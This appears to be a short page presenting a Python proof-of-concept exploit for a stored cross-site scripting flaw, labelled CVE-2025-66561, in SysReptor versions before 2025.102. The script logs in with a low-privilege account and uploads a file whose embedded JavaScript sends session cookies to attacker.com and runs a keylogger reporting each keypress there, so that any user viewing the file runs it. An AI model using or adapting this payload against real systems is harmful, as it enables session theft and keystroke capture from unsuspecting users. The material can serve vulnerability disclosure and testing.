CVE-2025-66561 SysReptor存储型XSS漏洞

# CVE-2025-66561 Stored XSS PoC for SysReptor # This PoC demonstrates the stored XSS vulnerability in SysReptor < 2025.102 import requests import json TARGET = "http://target-sysreptor.com" LOGIN_URL = f"{TARGET}/api/auth/login/" UPLOAD_URL = f"{TARGET}/api/uploads/" # Malicious JavaScript payload for XSS XSS_PAYLOAD = """ <script> // Steal session cookies document.cookie; // Exfiltrate data fetch('https://attacker.com/steal?data=' + btoa(document.cookie)); // Keylogger example document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?k=' + e.key); }); </script> """ def exploit(): # Step 1: Login with low privilege account session = requests.Session() login_data = { "username": "[email protected]", "password": "password123" } response = session.post(LOGIN_URL, json=login_data) if response.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Upload malicious file with XSS payload files = { "file": ("malicious.js", XSS_PAYLOAD, "application/javascript") } upload_response = session.post(UPLOAD_URL, files=files) if upload_response.status_code in [200, 201]: print("[+] Malicious file uploaded successfully") print(f"[+] Payload stored at: {upload_response.json().get('url')}") print("[*] Any user viewing this file will execute the XSS payload") else: print(f"[-] Upload failed: {upload_response.status_code}") if __name__ == "__main__": exploit()